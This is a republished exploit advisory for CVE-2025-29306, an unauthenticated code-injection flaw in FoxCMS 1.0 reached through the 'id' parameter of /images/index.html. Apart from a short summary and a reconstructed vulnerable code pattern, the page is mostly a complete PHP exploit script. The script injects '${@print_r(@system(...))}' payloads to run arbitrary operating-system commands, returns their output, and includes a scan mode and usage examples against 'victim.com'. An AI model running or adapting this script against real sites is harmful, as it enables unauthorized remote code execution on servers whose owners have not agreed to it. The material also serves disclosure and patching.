Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

FoxCMS 1.0 Code Injection

=============================================================================================================================================
| # Title FoxCMS 1.0 Code Injection

=============================================================================================================================================
| # Title : FoxCMS v1.0 php code innjection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://sourceforge.net/projects/fox-cms/ |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/190551/ & CVE-2025-29306


[+] Summary

A critical remote code execution vulnerability exists in FoxCMS v1.0 that allows unauthenticated attackers to execute arbitrary operating system commands
via the 'id' parameter in the /images/index.html endpoint.
The vulnerability stems from improper input sanitization and direct code evaluation.

The vulnerability exists in the FoxCMS v1.0 /images/index.html endpoint where user-supplied input in the 'id' parameter is directly evaluated without proper sanitization.
The system fails to validate and sanitize user input, allowing attackers to inject and execute arbitrary PHP code.

[+] Vulnerable Code Pattern:

```php

// In /images/index.html or related component

<?php
// Vulnerable code structure (reconstructed)
$user_input = $_GET['id'];
// Input is directly evaluated without sanitization
eval("some_function($user_input);");
// Or similar dangerous construct
?>

[+] Usage:

Usage: php exploit.php https://victim.com "id"

[+] POC :

<?php
/**
* CVE-2025-29306 Exploit - FoxCMS v1.0 Remote Code Execution
* By: indoushka
* Vulnerability: RCE via /images/index.html id parameter
*/

class FoxCMSExploit {
private $colors;

public function __construct() {
$this->colors = [
'RED' => "\033[91m",
'GREEN' => "\033[92m",
'YELLOW' => "\033[93m",
'BLUE' => "\033[94m",
'MAGENTA' => "\033[95m",
'CYAN' => "\033[96m",
'WHITE' => "\033[97m",
'BOLD' => "\033[1m",
'RESET' => "\033[0m"
];
}

private function color($text, $color) {
return $this->colors[$color] . $text . $this->colors['RESET'];
}

private function showBanner() {
$banner = $this->color("

", 'CYAN') .
$this->color("

", 'MAGENTA') .
$this->color("\n CVE-2025-29306 - FoxCMS v1.0 RCE Exploit\n", 'RED') .
$this->color(" @indoushka\n\n", 'WHITE');

echo $banner;
}

private function makeRequest($url) {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'ignore_errors' => true,
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);

$response = @file_get_contents($url, false, $context);

if ($response === false) {
return ['success' => false, 'error' => 'Request failed'];
}

return ['success' => true, 'content' => $response];
}

private function extractCommandOutput($html) {
// Try multiple extraction methods
$output = '';

// Method 1: Simple tag stripping
$cleaned = strip_tags($html);

// Method 2: Look for command output patterns
if (preg_match('/<ul[^>]*>(.*?)<\/ul>/si', $html, $matches)) {
$output = strip_tags($matches[1]);
}

// Method 3: Extract between common output markers
if (preg_match('/\b(root|bin|daemon|system)\b/i', $cleaned)) {
$output = $cleaned;
}

// Clean up the output
$output = preg_replace('/\s+/', ' ', $output);
$output = trim($output);

return $output ?: $cleaned;
}

public function execute($target, $command) {
$this->showBanner();

echo $this->color("[*] Target: ", 'BLUE') . $target . "\n";
echo $this->color("[*] Command: ", 'BLUE') . $command . "\n\n";

// Construct the exploit URL
$payload = '${@print_r(@system("' . $command . '"))}';
$encodedPayload = urlencode($payload);

$exploitUrl = rtrim($target, '/') . '/images/index.html?id=' . $encodedPayload;

echo $this->color("[*] Sending RCE payload...", 'YELLOW') . "\n";
echo $this->color("[*] Exploit URL: ", 'CYAN') . $exploitUrl . "\n\n";

$response = $this->makeRequest($exploitUrl);

if (!$response['success']) {
echo $this->color("[!] Request failed: " . $response['error'], 'RED') . "\n";
return;
}

$output = $this->extractCommandOutput($response['content']);

if (empty(trim($output))) {
echo $this->color("[!] No command output received", 'RED') . "\n";
echo $this->color("[*] Response preview:", 'YELLOW') . "\n";
echo substr($response['content'], 0, 500) . "\n\n";
} else {
echo $this->color("[+] Command output:", 'GREEN') . "\n";
echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
echo $output . "\n";
echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
}

// Test additional commands for verification
$this->testAdditionalCommands($target);
}

private function testAdditionalCommands($target) {
echo $this->color("\n[*] Testing additional verification commands...", 'YELLOW') . "\n";

$testCommands = [
'whoami' => 'Current user',
'pwd' => 'Current directory',
'uname -a' => 'System information'
];

foreach ($testCommands as $cmd => $description) {
$payload = '${@print_r(@system("' . $cmd . '"))}';
$encodedPayload = urlencode($payload);
$testUrl = rtrim($target, '/') . '/images/index.html?id=' . $encodedPayload;

$response = $this->makeRequest($testUrl);
if ($response['success']) {
$output = $this->extractCommandOutput($response['content']);
if (!empty(trim($output))) {
echo $this->color("[+] $description: ", 'GREEN') . trim($output) . "\n";
}
}
}
}

public function scan($target) {
$this->showBanner();

echo $this->color("[*] Scanning target for FoxCMS vulnerability: ", 'BLUE') . $target . "\n\n";

$testUrl = rtrim($target, '/') . '/images/index.html';

// First check if endpoint exists
echo $this->color("[*] Checking if /images/index.html exists...", 'YELLOW') . "\n";
$response = $this->makeRequest($testUrl);

if (!$response['success']) {
echo $this->color("[-] Endpoint not accessible", 'RED') . "\n";
return false;
}

echo $this->color("[+] Endpoint is accessible", 'GREEN') . "\n";

// Test with simple command
$testCommand = 'echo "VULNERABLE"';
$payload = '${@print_r(@system("' . $testCommand . '"))}';
$encodedPayload = urlencode($payload);

$exploitUrl = $testUrl . '?id=' . $encodedPayload;

echo $this->color("[*] Testing for RCE vulnerability...", 'YELLOW') . "\n";
$response = $this->makeRequest($exploitUrl);

if ($response['success'] && strpos($response['content'], 'VULNERABLE') !== false) {
echo $this->color("[+] Target is VULNERABLE to CVE-2025-29306!", 'RED') . "\n";
return true;
} else {
echo $this->color("[-] Target does not appear to be vulnerable", 'GREEN') . "\n";
return false;
}
}
}

// Main execution
if (php_sapi_name() === 'cli') {
if ($argc < 2) {
echo "CVE-2025-29306 - FoxCMS v1.0 RCE Exploit\n";
echo "Usage:\n";
echo " php exploit.php <target_url> [command]\n";
echo " php exploit.php <target_url> --scan\n";
echo "\nExamples:\n";
echo " php exploit.php https://victim.com \"id\"\n";
echo " php exploit.php https://victim.com \"ls -la\"\n";
echo " php exploit.php https://victim.com --scan\n";
echo "\nDescription:\n";
echo " Exploits RCE vulnerability in FoxCMS v1.0 via /images/index.html id parameter\n";
exit(1);
}

$target = $argv[1];
$command = $argv[2] ?? '--scan';

if (!filter_var($target, FILTER_VALIDATE_URL)) {
echo "Error: Invalid target URL\n";
exit(1);
}

$exploit = new FoxCMSExploit();

if ($command === '--scan') {
$exploit->scan($target);
} else {
$exploit->execute($target, $command);
}
} else {
echo "This script is intended for command line use only.\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share